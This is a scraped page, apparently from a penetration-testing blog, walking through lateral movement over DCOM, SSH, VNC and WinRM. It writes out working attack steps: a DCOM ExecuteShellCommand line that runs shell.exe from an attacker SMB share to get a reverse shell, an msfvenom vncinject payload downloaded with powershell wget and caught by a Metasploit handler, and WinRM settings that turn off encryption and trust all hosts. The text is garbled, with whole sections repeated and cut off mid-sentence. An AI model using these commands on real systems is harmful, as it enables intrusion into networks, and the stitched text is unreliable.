https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV1lOwkvUcb6Y2TpWHEJN0XUXceQVwjuPmyn6RVJfadVK6dfvlQeeRsc_jGZFYt0Pqy91yMCJSrDKCButSzf8SRQ5hsyeSZN01OjgkqdUAy1ssraDmgVnEYRSKl94sWLqHYhFz_GXqJMA3zsr_wrjDi1ggiHfdgzyAXnJ0iRVu3LjEZ30V8-aFY9fIfg/s16000/29.png?w=640&ssl=1 Lateral Movement through DCOM (T1021.003)According to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.
It is not a programming language but a standard that is only applicable to code that has been compiled to binary. Programming languages like C++ provide simple mechanisms to play with COM objects. C, Java implement COM too.”
A COM object is one in which access to an object’s data is achieved exclusively through one or more sets of related functions. These function sets are called interfaces, and the functions of an interface are called methods. Further, COM requires that the only way to gain access to the methods of an interface is through a pointer to the interface. In other words, COM enables a binary to interact with other software objects or executables by implementing objects which can call DLLs and EXEs. DCOM (Distributed COM) is middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.
By default, only Administrators may remotely activate and launch COM objects through DCOM
DCOM can execute macros in Office documents and also interact with WMI remotely thus opening the attacked domain to a wide array of vectors.
Please note that this attack works on a domain-joined system. DCOM remoting is not available across networks by default. To enable DCOM remoting, some magical code is required which is not in the scope of this article. (Though, I have done it and am using the non-domain joined system to do so)
Mmc20.application remote DCOM
You use Microsoft Management Console (MMC) to create, save and open administrative tools, called consoles, which manage the hardware, software, and network components of your Microsoft Windows operating system. MMC runs on all client operating systems that are currently supported. Here, Enigma0x3’s method (ref here) is being used.
First, let’s see mmc20.application’s registry entry using powershell. The ProgID is required to create its an instance in a remote system. Next, we will create a new instance of this program mmc20 on our target system (192.168.0.119) using Powershell.
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.0.119"))
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyr4OBio6cybxkORq2f3hpe9OLHACLWkUIgMLTCEV3WPxirLfXhx9YOJBSOHAU2Oz-x_hDUBVxu7mPo3nWHigwEJR4mHvsL7kL74p58u2t0K4Upq4kudssOObSH78F-fThIzZy4Pxpl6pdNOLrN63uZS-NZJh6IpNQHfU3FxICTq35Ax7aVmck5HvqPg/s16000/30.png?w=640&ssl=1
We created an object called $dcom that spawns different functions mmc can perform. One such is ExecuteShellCommand
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyJLPQTzXLdP8o5FHxWngEqCVHlQ0NuIgVBPOMUpY2f_htXicpQdhmLfIR6dTFLuZ4cZk8OqoMkLIM4wsmUF-L_jipd-efexJFJ7WjT5twJxrluPEHcmaVa21n5BzC[...]
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOFahaY2LV5GEEuhkq-jIDryXxPO9Et5Bz3rqn9U-dosD6ioxt_62p0zH_qDAVH_4CyG3dMOharCm1EqhbQCM3Q9e9JLLnf3-roOxyih-yY9cv0996bAM2BIFTFM_dGtcof1KL0VCxI6ltJA1WLOTFj6QkaxiAyMbCTc0rEy_jFD69ilkvUbShH8G_9w/s16000/28.png?w=640&ssl=1
As you can see, SharpMove.exe has updated the service binpath and a reverse shell has been achieved successfully.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV1lOwkvUcb6Y2TpWHEJN0XUXceQVwjuPmyn6RVJfadVK6dfvlQeeRsc_jGZFYt0Pqy91yMCJSrDKCButSzf8SRQ5hsyeSZN01OjgkqdUAy1ssraDmgVnEYRSKl94sWLqHYhFz_GXqJMA3zsr_wrjDi1ggiHfdgzyAXnJ0iRVu3LjEZ30V8-aFY9fIfg/s16000/29.png?w=640&ssl=1 Lateral Movement through DCOM (T1021.003)According to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.
It is not a programming language but a standard that is only applicable to code that has been compiled to binary. Programming languages like C++ provide simple mechanisms to play with COM objects. C, Java implement COM too.”
A COM object is one in which access to an object’s data is achieved exclusively through one or more sets of related functions. These function sets are called interfaces, and the functions of an interface are called methods. Further, COM requires that the only way to gain access to the methods of an interface is through a pointer to the interface. In other words, COM enables a binary to interact with other software objects or executables by implementing objects which can call DLLs and EXEs. DCOM (Distributed COM) is middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.
By default, only Administrators may remotely activate and launch COM objects through DCOM
DCOM can execute macros in Office documents and also interact with WMI remotely thus opening the attacked domain to a wide array of vectors.
Please note that this attack works on a domain-joined system. DCOM remoting is not available across networks by default. To enable DCOM remoting, some magical code is required which is not in the scope of this article. (Though, I have done it and am using the non-domain joined system to do so)
Mmc20.application remote DCOM
You use Microsoft Management Console (MMC) to create, save and open administrative tools, called consoles, which manage the hardware, software, and network components of your Microsoft Windows operating system. MMC runs on all client operating systems that are currently supported. Here, Enigma0x3’s method (ref here) is being used.
First, let’s see mmc20.application’s registry entry using powershell. The ProgID is required to create its an instance in a remote system. Next, we will create a new instance of this program mmc20 on our target system (192.168.0.119) using Powershell.
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.0.119"))
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyr4OBio6cybxkORq2f3hpe9OLHACLWkUIgMLTCEV3WPxirLfXhx9YOJBSOHAU2Oz-x_hDUBVxu7mPo3nWHigwEJR4mHvsL7kL74p58u2t0K4Upq4kudssOObSH78F-fThIzZy4Pxpl6pdNOLrN63uZS-NZJh6IpNQHfU3FxICTq35Ax7aVmck5HvqPg/s16000/30.png?w=640&ssl=1
We created an object called $dcom that spawns different functions mmc can perform. One such is ExecuteShellCommand
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyJLPQTzXLdP8o5FHxWngEqCVHlQ0NuIgVBPOMUpY2f_htXicpQdhmLfIR6dTFLuZ4cZk8OqoMkLIM4wsmUF-L_jipd-efexJFJ7WjT5twJxrluPEHcmaVa21n5BzC[...]
Hacking Articles Tips Tricks Videos Tutorials
rname=DESKTOP-9GSGKO9 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe" amsi=true servicename=ignite username=Administrator password=123 https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOFahaY2LV5GEEuhkq-jIDryXxPO9Et5Bz3rqn9U-d…
px4QjG8vhUwwqrrUSTA9TOA8UN0Tg7Ydqbk-_mc7kF0hqFX_VQgZzvy3lrUzpA/s16000/31.png?w=640&ssl=1
We will use this function to execute a command on this remote DCOM object so created.
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c \\192.168.0.89\sharename\shell.exe > output.txt","7")
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOejm75xWAXKD9_28901Sqhwy6n_mvJwGnSYEsnxhpNPMEqvovhkc1qDrjMD9gXgDFYugoHtH5GXohAkg9vIIcU1TjCF0aMLk5dmjGXpVeccZWNlNRn3xVlGjU7cyjiEOm-zdKj_7N-PmTAYMY85MwcAGwG4rWbFS43xUrIdatYLyR_n0yT3mN87U7fg/s16000/32.png?w=640&ssl=1
Upon successful execution, we see a hit on our SMB server, the executable is fetched and executed
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGlZOtrE10xdM0vnF-iB9srddV1_BlDB3J4OCVu98yY0NTr4TJ2rAvHwgprh9K_EMlIodzLQKQNokJuk04D0vWy_45DuHvzsD3zjBX1W8OlsHq8MgxZ7EBwpoLlBtWp8wiJLR5uKgHaBeRNkpmoplheQIWg1pa1Pw0CMzMBb2fntnZpOz7BBktwWA51w/s16000/33.png?w=640&ssl=1
This gives us a nice reverse shell and lateral movement has, therefore, been achieved!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5Ev-BZ29In-IxKwSDyeSmO2Igv3fdzCvQA2G5GaL1wrnfEa_mNltLv43ADESEUrxIj9przKq8dQUpb8gC2m8dhlLQpsvPQKRv8HjXLzK8dI-4hi0HcLFc4PwZWXzVso9xyAlVGdt6EPmq-Onem3SFHfQR-uGz6OVJL6V6unO9W2CZqT5tO1wvjkjGCg/s16000/34.png?w=640&ssl=1 Lateral Movement through SSH (T1021.004)SSH is the most widely used cross-platform protocol that lets a user connect to remote sessions and allows file copy as well. Often there are different subnetworks being used in corporate environments which may not be reachable to an attacker directly due to firewall restrictions or due to a different network interface. In such scenarios, moving laterally through SSH can open a variety of options for an attacker. Let’s see some methods.
SSH Port Forwarding
For comprehensive use-cases and a guide to port forwarding, I highly recommend reading this article. We take a simple scenario here. Our destination server has the following IP address and username
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBaEboKjdEwYR8iG6fbkaBud8KQSxnPMnTir_kU7MwhJukLXZAeZRLi1fDV9qD88_5pqpQq6ZGVPKucew9KYFeRa_bpT1b62nKpP-4bEAjjV1lUkYWVlS5l3Tl_-A13HK760Bc0v-9jv6e0TrUNLMKoD02Rje3x6cPuI3JQbfXhG9IN0D1Nj0nO2r_0Q/s16000/35.png?w=640&ssl=1
Now, we have compromised a system with username “hex” successfully that has 2 network cards. One on the same network as our attacker machine and one on our destination server’s network.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje54uwCHRVTI7iLLMYxFP-wbqjAhiAEDhiZTbJqSJq6Gl8CIh9P_QplK9OMhIfP03YpRsqw_Oqj7HtbkeOxG7fq8VaaUM1d2_t8XxRfaSrHAHUBp648XoDmrhyoQasI34wtEEJJWx5Qd28qGWbgPTXMAMONZ-3nBQZNSlFu67J26Nm7FOlXHbf-ZEzMw/s16000/36.png?w=640&ssl=1
And as you can see, our attacker machine has a different subnet than our destination and our ping isn’t reaching, so it isn’t directly accessible.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqQIkG2KoJKeTMYpKKt9c69zL0YhoVu613xXAs8vLZgXsOROSN4aQHedWNlO1zYnAk4t26YAQiDQCvYBLCTJRu_sn0KidGgoMwLUhPZ1pc2aR8sSQwN_VLPrteYCfF7yPv7Xurb5oSRiN4PYCtPBGmrnKyBsNFDnKkGcXlQ-SbI9jCRx8XSai_FObkNQ/s16000/37.png?w=640&ssl=1
To set up a local port forward, which allows us to redirect any incoming traffic at a specific port to the destination server, we follow the following schema:
ssh -L LOCAL_PORT:DEST_IP:DEST_PORT COMPROMISED_USERNAME@COMPROMISED_SERVER
Thereafter, we have to specify hex’s password.
ssh -L 7000:192.168.179.130:22 hex@192.168.0.119
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIDi4Tnt7_L50KdiTgl4leErFDyJnrT5hUsLdKjRVoXGgHkgWxMm2kZtSNue6iwS2QgknlOaA3jLd2DeHnw-g1gHY5UHInAiGMgxzpzEIkVLPN901TNVTS1Cnz7GKSJpUOfKzdYUIYBpCdGR8jLbbrdFU-DiNMtcv5DXMGAyhB1ZzjZV2oTRnG9DB5Ww/s16000/38.png?w=640&ssl=1
Upon successful setup, we would now be able to connect to the destination server! First, make sure there are no pre-existing localhost entries in the known[...]
We will use this function to execute a command on this remote DCOM object so created.
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c \\192.168.0.89\sharename\shell.exe > output.txt","7")
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOejm75xWAXKD9_28901Sqhwy6n_mvJwGnSYEsnxhpNPMEqvovhkc1qDrjMD9gXgDFYugoHtH5GXohAkg9vIIcU1TjCF0aMLk5dmjGXpVeccZWNlNRn3xVlGjU7cyjiEOm-zdKj_7N-PmTAYMY85MwcAGwG4rWbFS43xUrIdatYLyR_n0yT3mN87U7fg/s16000/32.png?w=640&ssl=1
Upon successful execution, we see a hit on our SMB server, the executable is fetched and executed
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGlZOtrE10xdM0vnF-iB9srddV1_BlDB3J4OCVu98yY0NTr4TJ2rAvHwgprh9K_EMlIodzLQKQNokJuk04D0vWy_45DuHvzsD3zjBX1W8OlsHq8MgxZ7EBwpoLlBtWp8wiJLR5uKgHaBeRNkpmoplheQIWg1pa1Pw0CMzMBb2fntnZpOz7BBktwWA51w/s16000/33.png?w=640&ssl=1
This gives us a nice reverse shell and lateral movement has, therefore, been achieved!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5Ev-BZ29In-IxKwSDyeSmO2Igv3fdzCvQA2G5GaL1wrnfEa_mNltLv43ADESEUrxIj9przKq8dQUpb8gC2m8dhlLQpsvPQKRv8HjXLzK8dI-4hi0HcLFc4PwZWXzVso9xyAlVGdt6EPmq-Onem3SFHfQR-uGz6OVJL6V6unO9W2CZqT5tO1wvjkjGCg/s16000/34.png?w=640&ssl=1 Lateral Movement through SSH (T1021.004)SSH is the most widely used cross-platform protocol that lets a user connect to remote sessions and allows file copy as well. Often there are different subnetworks being used in corporate environments which may not be reachable to an attacker directly due to firewall restrictions or due to a different network interface. In such scenarios, moving laterally through SSH can open a variety of options for an attacker. Let’s see some methods.
SSH Port Forwarding
For comprehensive use-cases and a guide to port forwarding, I highly recommend reading this article. We take a simple scenario here. Our destination server has the following IP address and username
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBaEboKjdEwYR8iG6fbkaBud8KQSxnPMnTir_kU7MwhJukLXZAeZRLi1fDV9qD88_5pqpQq6ZGVPKucew9KYFeRa_bpT1b62nKpP-4bEAjjV1lUkYWVlS5l3Tl_-A13HK760Bc0v-9jv6e0TrUNLMKoD02Rje3x6cPuI3JQbfXhG9IN0D1Nj0nO2r_0Q/s16000/35.png?w=640&ssl=1
Now, we have compromised a system with username “hex” successfully that has 2 network cards. One on the same network as our attacker machine and one on our destination server’s network.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje54uwCHRVTI7iLLMYxFP-wbqjAhiAEDhiZTbJqSJq6Gl8CIh9P_QplK9OMhIfP03YpRsqw_Oqj7HtbkeOxG7fq8VaaUM1d2_t8XxRfaSrHAHUBp648XoDmrhyoQasI34wtEEJJWx5Qd28qGWbgPTXMAMONZ-3nBQZNSlFu67J26Nm7FOlXHbf-ZEzMw/s16000/36.png?w=640&ssl=1
And as you can see, our attacker machine has a different subnet than our destination and our ping isn’t reaching, so it isn’t directly accessible.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqQIkG2KoJKeTMYpKKt9c69zL0YhoVu613xXAs8vLZgXsOROSN4aQHedWNlO1zYnAk4t26YAQiDQCvYBLCTJRu_sn0KidGgoMwLUhPZ1pc2aR8sSQwN_VLPrteYCfF7yPv7Xurb5oSRiN4PYCtPBGmrnKyBsNFDnKkGcXlQ-SbI9jCRx8XSai_FObkNQ/s16000/37.png?w=640&ssl=1
To set up a local port forward, which allows us to redirect any incoming traffic at a specific port to the destination server, we follow the following schema:
ssh -L LOCAL_PORT:DEST_IP:DEST_PORT COMPROMISED_USERNAME@COMPROMISED_SERVER
Thereafter, we have to specify hex’s password.
ssh -L 7000:192.168.179.130:22 hex@192.168.0.119
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIDi4Tnt7_L50KdiTgl4leErFDyJnrT5hUsLdKjRVoXGgHkgWxMm2kZtSNue6iwS2QgknlOaA3jLd2DeHnw-g1gHY5UHInAiGMgxzpzEIkVLPN901TNVTS1Cnz7GKSJpUOfKzdYUIYBpCdGR8jLbbrdFU-DiNMtcv5DXMGAyhB1ZzjZV2oTRnG9DB5Ww/s16000/38.png?w=640&ssl=1
Upon successful setup, we would now be able to connect to the destination server! First, make sure there are no pre-existing localhost entries in the known[...]
Hacking Articles Tips Tricks Videos Tutorials
px4QjG8vhUwwqrrUSTA9TOA8UN0Tg7Ydqbk-_mc7kF0hqFX_VQgZzvy3lrUzpA/s16000/31.png?w=640&ssl=1 We will use this function to execute a command on this remote DCOM object so created. $dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c \\192.168.0.89\s…
_hosts file (by using ssh-keygen -R)
ssh-keygen -R 127.0.0.1
ssh server@127.0.0.1 -p 7000
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPqqzyrQ7EW3Tey1zuCkLJpqD7LRjn7fwvS85HgwXw96ZKHAZ0eJp7dqk1hHXkKq-e7CiBc6BjZrH2dkNoLD89xSE34YxkhUclbVZV-bF9HwPkgPbEnoCz8WcAh8GTwtyxstBeLH5P6mFT9kh3Vb1j1Q4vhQRg6VJx0AjxlflUm0PY1EPusDENswbAGw/s16000/39.png?w=640&ssl=1
As you can see, we have successfully connected to our destination! Lateral Movement through VNC (T1021.005)VNC or Virtual Network Computing is a service that uses the Remote Frame Buffer protocol to enable graphical remote access of another system. It is an interactive session since the user can give the mouse and keyboard inputs through VNC to the original system. Defining like that seems so similar to the Remote Desktop Protocol that we discussed some while back but there is a prominent difference between the two. The VNC is platform-independent which means it can work with Linux and Windows whereas the RDP can only work between two Windows Machines.
According to MITRE, “Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network.”
Let’s see one such method.
VNCinject payload
Vncinject is a payload available to be used with msfvenom, it installs a reflective vnc DLL on the attacker system and connects back to the attacker system. It may be noted that for further lateral movement using this, it can be kept in a share, and a remote execution method like psexec may be used.
Let’s create a payload first and host it in our web server to be downloaded and executed at the system
msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.4 lport=4532 -f exe > vnc.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbSpaqy_DkBBOgFXxHdEco11qYQZBC7x9FLtw3zE1OG3mY_eCfI7w391YqX9Enen-N7r6QTKqqm3c8cAMdgo5iAWG1YQ57NfHy4EYdAZdCA8P417xbq9JnJDdE96rOppnpcZoPbIj0B2V6a7Y4l4L_3q6uV68BCFgM82EqXbQaCUsDfCGe76UWVjznWg/s16000/40.png?w=640&ssl=1
Now, we make our victim execute this payload. This could be done by sending in phishing links etc. For simplicity, we are just using powershell wget to download and execute (simulation)
powershell wget 192.168.1.4/vnc.exe -O vnc.exe
vnc.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJ7B0oQM0rjsunqhLq-sGqUuK2bxfVLgu_Px9W13myXXrRF1LsvUeaDdwPj-KrsS8ojb2V_4o2PL8sCwz0frZR18GQXpQ3SiNuScGx7Are-pBJvI4DHruiX4jZxiPFLI8LODDSv8uPKGjOrOSWCENMUhKxtFIJLGd02w22HsNFX987v68J-e3WQCTPGw/s16000/41.png?w=640&ssl=1
Now we set up multi/handler and wait for a callback. Upon successful execution, we receive a callback in our console.
use multi/handler
set payload windows/x64/vncinject/reverse_tcp
set lhost 192.168.1.4
set lport 4532
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQv2uRcUTUv-0kFWx7OgeZOWzmh1GRRFA21r4hp1yJhcVHk9rFlIdZHlKFkzTXhxl6tiw5CXDhToSkKqdpeypaFUHyPTotfsCKtz2JwU9pbzckOWh_gTCDypyLY7nPTAEUVMHec_J2uXIxK30xd4WFKvI7syxSazK8SecPUR1D_mTzYnAKP7UwU9VHJQ/s16000/42.png?w=640&ssl=1
After a short while, we will receive a full-fledged VNC session and lateral movement has now been achieved!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgObqBPx-BlBLlE1kKJXk3kmvGU2Dv6ZfjVllsCsDtGnWSKMR87NyB51_2Q4Qc1AwugMa2VoWxGeMf4jQ24VmThFTDsANGIJv8ATPISjXwXP_EbfzIQJkbGUIFZ148z5FkUH5ZS08x4ZTUr7hoG0l6X8HQMm8dK1hv0dxHAxO7V820Ipj58NnFShmsKJw/s16000/43.png?w=640&ssl=1
Note: For more VNC pentesting cases, read our article here Lateral Movement through WinRM (T1021.006)WinRM is a command-line tool that enables administrators to remotely execute the CMD.exe commands using the WS-Management protocol. This specification describes a general SOAP-based protocol for managing systems such as PCs, servers, devices, Web services, other application[...]
ssh-keygen -R 127.0.0.1
ssh server@127.0.0.1 -p 7000
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPqqzyrQ7EW3Tey1zuCkLJpqD7LRjn7fwvS85HgwXw96ZKHAZ0eJp7dqk1hHXkKq-e7CiBc6BjZrH2dkNoLD89xSE34YxkhUclbVZV-bF9HwPkgPbEnoCz8WcAh8GTwtyxstBeLH5P6mFT9kh3Vb1j1Q4vhQRg6VJx0AjxlflUm0PY1EPusDENswbAGw/s16000/39.png?w=640&ssl=1
As you can see, we have successfully connected to our destination! Lateral Movement through VNC (T1021.005)VNC or Virtual Network Computing is a service that uses the Remote Frame Buffer protocol to enable graphical remote access of another system. It is an interactive session since the user can give the mouse and keyboard inputs through VNC to the original system. Defining like that seems so similar to the Remote Desktop Protocol that we discussed some while back but there is a prominent difference between the two. The VNC is platform-independent which means it can work with Linux and Windows whereas the RDP can only work between two Windows Machines.
According to MITRE, “Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network.”
Let’s see one such method.
VNCinject payload
Vncinject is a payload available to be used with msfvenom, it installs a reflective vnc DLL on the attacker system and connects back to the attacker system. It may be noted that for further lateral movement using this, it can be kept in a share, and a remote execution method like psexec may be used.
Let’s create a payload first and host it in our web server to be downloaded and executed at the system
msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.4 lport=4532 -f exe > vnc.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbSpaqy_DkBBOgFXxHdEco11qYQZBC7x9FLtw3zE1OG3mY_eCfI7w391YqX9Enen-N7r6QTKqqm3c8cAMdgo5iAWG1YQ57NfHy4EYdAZdCA8P417xbq9JnJDdE96rOppnpcZoPbIj0B2V6a7Y4l4L_3q6uV68BCFgM82EqXbQaCUsDfCGe76UWVjznWg/s16000/40.png?w=640&ssl=1
Now, we make our victim execute this payload. This could be done by sending in phishing links etc. For simplicity, we are just using powershell wget to download and execute (simulation)
powershell wget 192.168.1.4/vnc.exe -O vnc.exe
vnc.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJ7B0oQM0rjsunqhLq-sGqUuK2bxfVLgu_Px9W13myXXrRF1LsvUeaDdwPj-KrsS8ojb2V_4o2PL8sCwz0frZR18GQXpQ3SiNuScGx7Are-pBJvI4DHruiX4jZxiPFLI8LODDSv8uPKGjOrOSWCENMUhKxtFIJLGd02w22HsNFX987v68J-e3WQCTPGw/s16000/41.png?w=640&ssl=1
Now we set up multi/handler and wait for a callback. Upon successful execution, we receive a callback in our console.
use multi/handler
set payload windows/x64/vncinject/reverse_tcp
set lhost 192.168.1.4
set lport 4532
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQv2uRcUTUv-0kFWx7OgeZOWzmh1GRRFA21r4hp1yJhcVHk9rFlIdZHlKFkzTXhxl6tiw5CXDhToSkKqdpeypaFUHyPTotfsCKtz2JwU9pbzckOWh_gTCDypyLY7nPTAEUVMHec_J2uXIxK30xd4WFKvI7syxSazK8SecPUR1D_mTzYnAKP7UwU9VHJQ/s16000/42.png?w=640&ssl=1
After a short while, we will receive a full-fledged VNC session and lateral movement has now been achieved!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgObqBPx-BlBLlE1kKJXk3kmvGU2Dv6ZfjVllsCsDtGnWSKMR87NyB51_2Q4Qc1AwugMa2VoWxGeMf4jQ24VmThFTDsANGIJv8ATPISjXwXP_EbfzIQJkbGUIFZ148z5FkUH5ZS08x4ZTUr7hoG0l6X8HQMm8dK1hv0dxHAxO7V820Ipj58NnFShmsKJw/s16000/43.png?w=640&ssl=1
Note: For more VNC pentesting cases, read our article here Lateral Movement through WinRM (T1021.006)WinRM is a command-line tool that enables administrators to remotely execute the CMD.exe commands using the WS-Management protocol. This specification describes a general SOAP-based protocol for managing systems such as PCs, servers, devices, Web services, other application[...]
Hacking Articles Tips Tricks Videos Tutorials
_hosts file (by using ssh-keygen -R) ssh-keygen -R 127.0.0.1 ssh server@127.0.0.1 -p 7000 https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPqqzyrQ7EW3Tey1zuCkLJpqD7LRjn7fwvS85HgwXw96ZKHAZ0eJp7dqk1hHXkKq-e7CiBc6BjZrH2dkNoLD89xSE34YxkhUclbVZV…
s, and other manageable entities. It uses port 5985 for HTTP transport and 5986 for HTTPS Transport.
On server and client versions of the Windows operating system, Enable-PSRemoting allows the administrator to access the remote shell using Powershell for private and domain networks through WinRM service.
Read Microsoft’s documentation here about WinRM
First, to set up WinRM we need to execute the following commands in an Admin Powershell window only. This would enable winrm, allow HTTP connection (as by default no SSL cert is there for HTTPS in a system) and allow all users by adding them in trusted hosts.
Enable-PSRemoting -Force
winrm quickconfig
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
Set-Item WSMan:localhost\client\trustedhosts -value *
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6GyelLop_vSBT9yPM9a2MasOxA39suZneIWH4nFWDmOldt4HdJWQiBUXhKHVTIuSI_bsUz0NZRTeR8qv9O9UcoN3KoPpjIabVBeYtS52EHZNG8d-brHpFeB-33hzlOwiqvm_Qlfubao15sGr9pxGplfuyGn2Eunn-rh7NmFVslcelsDLIck-xrGorww/s16000/44.png?w=640&ssl=1
For WinRM service, we can manually traverse the config too like this and setting/changing any value.
cd WSMan:\localhost\Client
set-item .\allowunencrypted $true
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl-r6hSFv1YpUbbocUjB8Etrt_1P7QrEcpchcoP3xj0_IppxdfIqruM2P-HlHrPcM3hyGh99cjPcMN7UDW-OJJJads1aWRvrhBDQZpKC-n7BwMTV_xrgw07eHmKNLoddWlAPkNJHcfvET8ERwHskT1GKIj9EByyIIUg7S9rdTlwYc440bon91baDq2hQ/s16000/45.png?w=640&ssl=1
For a domain environment, often tools like WinRS won’t work due to Kerberos. Hence, we need to activate basic authentication mechanism.
set-item WSMan:\localhost\Service\Auth\Basic $true
set-item WSMan:\localhost\Service\AllowUnencrypted $true
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8Su18pZJMbVnmPrFBO0sW-MgDZ0RMqLw_iL12iEV_qCrTfkyoQpN7z7XFpC4evdgMvw6JcaLanq6CKL8ec8PLeN9GJQYQtJTSVfk-4KeE4Xuj39Ktfw9_LJFUkUmgXEehBAIkAcdxSEx2iKO-myKrD10bg6DUNKdjNzyXjXaLcwlfl2qgg8x-n7cLbg/s16000/46.png?w=640&ssl=1
New-PSSession Powershell
New-PSSession command in powershell creates a new persistent powershell remote session. By providing in the remote credentials, you see that we have connected to the server. Useful in scenarios where one system has access to a target/destination server and we need to connect to it but our attacker system can’t reach it.
We can further execute the malicious executable that we have kept in our SMB share for further lateral movement.
New-PSSession -ComputerName 192.168.1.2 -Credential (Get-Credential)
Enter-PSSession 2
cmd.exe /c \\192.168.1.4\sharename\shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtIBJUDn3AV2zdUgf2o1GaxlQX16lqYxDw9_R0QsoqiCJFwhVKBwB5DDeiFyvBnHEasQSike5XvCo7Bi0ZtsF-ZdbBOewg1H9l2ZFehyiSjWvKa4_jJBxKq-ZwSCOm70sVE8nvwI7NOtEx12Wy_Vi6KMqpNMGYcRXimyeHchb6von6rQJjAufB8lJigQ/s16000/47.png?w=640&ssl=1
You see, now server has bypass the incoming connections of firewall which were restricting a user to connect to it. We have made server connect to us instead!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFY2PJzRD8iHXa-IWp9xpE5jsp_m-42bI6UN_wdFIXYp0ZGUy9l_Srtheq-mE69H-tWUURMbTdarKX5WTYPlKUWBUPCa4ndT441XNR9V_DS5veeFhIyoSSp__HAFAGdrooI3LjkwaWb5RJf5_rIa0rvjmKw8tdn7gt03HpJH-P2MFKaW6PYkaGwWjlKA/s16000/48.png?w=640&ssl=1
It gives us a neat reverse shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3CHqR_1zCrCqPyQiPEbWRMpGcpwXXbDsqDB06nAqSDzYJXCTw7FIe_hw5WBHHW75tK6lWbd17BNfIpetXla1481_TQ6jcgN1LZoeWMALLOL_T4JHfOQ-TrmxEDadPcGIl2s-I-zosIFLRWL6eylcgaF0HOOhE-Aa3fNLqeTUGPvBraILdXsicJYO1ow/s16000/49.png?w=640&ssl=1
Invoke-Command Powershell
